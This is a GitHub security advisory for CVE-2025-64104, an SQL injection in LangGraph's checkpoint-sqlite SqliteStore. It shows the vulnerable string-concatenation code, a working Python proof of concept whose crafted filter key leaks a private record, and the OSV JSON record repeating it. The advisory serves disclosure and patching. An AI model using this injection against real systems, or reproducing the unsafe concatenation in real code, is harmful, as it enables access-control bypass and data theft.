GHSA-7P73-8JQX-23R8
Vulnerability from github – Published: 2025-10-29 22:21 – Updated: 2025-10-29 22:21Summary
LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.
Details
/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py
The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.
filter_conditions.append(
"json_extract(value, '$."
+ key # <-- Directly concatenated, no escaping!
+ "') = '"
+ value.replace("'", "''") # <-- Only value is escaped
+ "'"
)
Who is affected
This issue affects only developers or projects that directly use the checkpoint-sqlite store.
An application is vulnerable only if it:
1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).
If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.
Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""
from langgraph.store.sqlite import SqliteStore
# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
store.setup()
# Add public and private documents
store.put(("docs",), "public", {"access": "public", "data": "public info"})
store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
# Normal query - returns 1 public document
normal = store.search(("docs",), filter={"access": "public"})
print(f"Normal query: {len(normal)} docs")
# SQL injection via malicious key
malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
injected = store.search(("docs",), filter={malicious_key: "dummy"})
print(f"Injected query: {len(injected)} docs")
for doc in injected:
if doc.value.get("access") == "private":
print(f"LEAKED: {doc.value}")
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.10"
},
"package": {
"ecosystem": "PyPI",
"name": "langgraph-checkpoint-sqlite"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64104"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-29T22:21:43Z",
"nvd_published_at": "2025-10-29T19:15:39Z",
"severity": "HIGH"
},
"details": "### Summary\nLangGraph\u0027s SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.\n\n### Details\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)\n\nThe key portion of the JSON path is concatenated directly into the SQL string without sanitation. There\u0027s a few different occurrences within the file.\n\n```python\n filter_conditions.append(\n \"json_extract(value, \u0027$.\"\n + key # \u003c-- Directly concatenated, no escaping!\n + \"\u0027) = \u0027\"\n + value.replace(\"\u0027\", \"\u0027\u0027\") # \u003c-- Only value is escaped\n + \"\u0027\"\n )\n```\n\n### Who is affected\n\nThis issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. \n\nAn application is vulnerable only if it:\n1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and**\n2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data).\n\nIf filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.\n\nNote: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal SQLite Key Injection POC for LangGraph\"\"\"\n\nfrom langgraph.store.sqlite import SqliteStore\n\n# Create store with test data\nwith SqliteStore.from_conn_string(\":memory:\") as store:\n store.setup()\n \n # Add public and private documents\n store.put((\"docs\",), \"public\", {\"access\": \"public\", \"data\": \"public info\"})\n store.put((\"docs\",), \"private\", {\"access\": \"private\", \"data\": \"secret\", \"password\": \"123\"})\n \n # Normal query - returns 1 public document\n normal = store.search((\"docs\",), filter={\"access\": \"public\"})\n print(f\"Normal query: {len(normal)} docs\")\n \n # SQL injection via malicious key\n malicious_key = \"access\u0027) = \u0027public\u0027 OR \u00271\u0027=\u00271\u0027 OR json_extract(value, \u0027$.\"\n injected = store.search((\"docs\",), filter={malicious_key: \"dummy\"})\n \n print(f\"Injected query: {len(injected)} docs\")\n for doc in injected:\n if doc.value.get(\"access\") == \"private\":\n print(f\"LEAKED: {doc.value}\")\n```",
"id": "GHSA-7p73-8jqx-23r8",
"modified": "2025-10-29T22:21:43Z",
"published": "2025-10-29T22:21:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64104"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langgraph/commit/bc9d45b476101e441cb1cc602dea03eb29232de4"
},
{
"type": "PACKAGE",
"url": "https://github.com/langchain-ai/langgraph"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.